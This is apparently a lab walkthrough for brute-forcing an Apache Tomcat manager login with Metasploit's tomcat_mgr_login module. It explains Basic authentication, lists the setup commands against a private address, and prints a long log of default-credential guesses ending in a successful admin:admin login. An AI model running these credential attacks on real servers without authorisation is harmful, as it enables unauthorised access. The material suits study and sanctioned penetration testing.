Tomcat-Bruteforce

How it works
Setup
Execution

How it works

More information about the WWW-Authenticate header

The normal access goes in the following way

HTTP Request with WWW-Authenticate header

Client Requests a Website.
Server sees no Authorization Header in the Request
Server Responds with 401 (Unauthorized) and WWW-Authenticate Header
- Basic and realm="…" tells the browser to ask the user for credentials
user enters credentials
Browser sends new Request with Authorization header
- Consists of “username:password” base64 encoded
Server sees Authorization Header and checks the credentials.
Server Responds depending of the Credentials are right or not
- Valid: 200 (OK) and the HTML-Page
- Invalid: 401 (Unauthorized)

auxiliary/scanner/http/tomcat_mgr_login works by skipping the first steps and sends directly the HTTP-Requests with the Authorization Header till it receives a 200 Response.

Setup

# starting the attacking tool
$ sudo msfdb run
# activating the tomcat-manager-attacking tool
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
# this options shows you where the attack is (makes it harder to analyze afterwards with many passwords)
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VERBOSE true
# only activate if you attempt for one user only. If you use a USER_FILE or only want one pair of credentials then don't use this
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set STOP_ON_SUCCESS true
# select the target machine (multiple are allowed)
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 10.20.30.4
# only with multiple targets (one thread per target)
msf6 auxiliary(scanner/ssh/ssh_login) > set THREADS x
# this USER_FILE should be selected per default
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USER_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
# this PASS_FILE should be selected per default
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt

Execution

$ sudo msfdb run
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VERBOSE true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 10.20.30.4
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USER_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt

msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

[+] 10.20.30.4:8080 - Login Successful: admin:admin
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:admin (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:manager (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:role1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:root (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:s3cret (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:vagrant (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:QLogic66 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:Password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:r00t (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:toor (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:j2deployer (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:OvW*busr1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:kdsxc (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:owaspba (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:ADMIN (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:xampp (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:admin (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:manager (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:role1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:root (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:s3cret (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:vagrant (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:QLogic66 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:Password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:r00t (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:toor (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:j2deployer (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:OvW*busr1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:kdsxc (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:owaspba (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:ADMIN (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:xampp (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:admin (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:manager (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:role1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:root (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:s3cret (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:vagrant (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:QLogic66 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:Password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:r00t (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:toor (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:j2deployer (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:OvW*busr1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:kdsxc (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:owaspba (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:ADMIN (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:xampp (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:admin (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:manager (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:role1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:root (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:s3cret (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:vagrant (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:QLogic66 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:Password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:r00t (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:toor (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:j2deployer (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:OvW*busr1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:kdsxc (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:owaspba (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:ADMIN (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:xampp (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:admin (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:manager (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:role1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:root (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:s3cret (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:vagrant (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:QLogic66 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:Password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:r00t (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:toor (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:j2deployer (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:OvW*busr1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:kdsxc (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:owaspba (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:ADMIN (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:xampp (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:admin (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:manager (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:role1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:root (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:s3cret (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:vagrant (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:QLogic66 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:Password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:r00t (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:toor (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:j2deployer (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:OvW*busr1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:kdsxc (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:owaspba (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:ADMIN (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:xampp (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:admin (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:manager (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:role1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:root (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:s3cret (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:vagrant (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:QLogic66 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:Password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:r00t (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:toor (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:j2deployer (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:OvW*busr1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:kdsxc (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:owaspba (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:ADMIN (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:xampp (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:admin (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:manager (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:role1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:root (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:s3cret (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:vagrant (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:QLogic66 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:Password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:r00t (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:toor (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:j2deployer (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:OvW*busr1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:kdsxc (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:owaspba (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:ADMIN (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:xampp (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:admin (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:manager (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:role1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:root (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:s3cret (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:vagrant (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:QLogic66 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:Password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:r00t (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:toor (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:j2deployer (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:OvW*busr1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:kdsxc (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:owaspba (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:ADMIN (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:xampp (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:admin (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:manager (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:role1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:root (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:s3cret (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:vagrant (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:QLogic66 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:Password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:r00t (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:toor (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:j2deployer (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:OvW*busr1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:kdsxc (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:owaspba (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:ADMIN (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:xampp (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:admin (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:manager (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:role1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:root (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:s3cret (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:vagrant (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:QLogic66 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:Password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:r00t (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:toor (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:j2deployer (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:OvW*busr1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:kdsxc (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:owaspba (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:ADMIN (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:xampp (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:admin (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:manager (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:role1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:root (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:s3cret (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:vagrant (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:QLogic66 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:Password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:r00t (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:toor (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:j2deployer (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:OvW*busr1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:kdsxc (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:owaspba (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:ADMIN (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:xampp (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: j2deployer:j2deployer (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ovwebusr:OvW*busr1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: cxsdk:kdsxc (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:owaspbwa (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: ADMIN:ADMIN (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: xampp:xampp (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:s3cret (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: QCC:QLogic66 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: both:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: manager:manager (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:role1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role1:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: role:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:Password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:changethis (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:r00t (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:root (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: root:toor (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:tomcat (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:password1 (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:password (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat: (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:admin (Incorrect)
[-] 10.20.30.4:8080 - LOGIN FAILED: tomcat:changethis (Incorrect)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed